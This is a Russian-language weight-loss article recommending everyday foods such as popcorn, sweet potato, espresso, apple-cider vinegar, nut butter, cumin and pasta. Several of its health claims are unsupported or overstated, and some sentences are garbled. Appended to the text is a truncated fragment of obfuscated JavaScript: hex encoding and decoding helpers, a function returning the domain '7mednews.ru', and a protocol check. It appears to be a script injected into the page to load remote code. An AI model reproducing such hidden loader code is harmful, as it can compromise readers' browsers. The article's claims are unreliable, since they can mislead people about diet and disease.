Доктор Кристин Киркпаркер и ряд диетологов провели исследования, которые показали, что при помощи обычных продуктов можно похудеть.
Попкорн. В составе зерен кукурузы содержится большое количество помогает очищать желудочно-кишечного тракта. Но для этого нужно выбирать продукт без масла, различных добавок и не в раскрытом виде. Таким образом вы избежите попадания в организм трансжиров, которые попадают в момент приготовления в микроволновке.
Батат. Благодаря ряду исследований стало известно, что в этом сладком картофеле содержится огромное количество полезных веществ: калия, витамина С и многих других. Но главное способ приготовления и размер порции. Ведь если вы приготовите пюре со сливками, пользы будет мало а вот если картофель будет запеченный с оливковым маслом, то фигура вам будет благодарна.
Кофе. В 1 чашке эспрессо содержится огромное количество антиоксидантов, стимулирующих работу мозга и защищающих ротовую полость от онкозаболеваний. Также этот напиток помогает контролировать аппетит. Но это возможно только если кофе употребляется в чистом виде без сливок и сахара.
Уксус. Как показали исследования, если вы будете добавлять в заправку 1 ст.л яблочного уксуса, то убережете себя от переедания и контролировать в организме уровень сахара. Также можете на голодный желудок выпить стакан теплой воды с яблочным уксусом и 1 ложкой меда. Главное помнить о количестве уксуса, так как он раздражает слизистую рта, пищевода и разрушает эмаль.
В ореховом масле содержится все полезные жиры, клетчатка, белок. Поэтому употребив его с утра вы спокойно себя чувствуете до обеда, а то и дольше. Но мы привыкли этот продукт употреблять вместе с тостом из белого хлеба. Но для того чтобы снизить вес лучше покупайте ореховое масло без сахара и намазывайте её не на хлеб, а например на яблоко.
Все восточные народу специю тмин добавляют её во все блюда. И не странно! Ведь у этой специи есть огромное множество полезных свойств. В первую очередь оно способствует похудению, улучшению пищеварения и выведению из крови «плохого» холестерина.
Паста. Такой продукт будет способствовать похудению только в случае если лапшу выбирать из твердых сортов пшеницы и контролировать размер порций. Такая паста содержит невысокий гликемический индекс и не способствует резких изменений сахара в крови. А вот соус нужно приготовить из томата с травами.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "7mednews.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e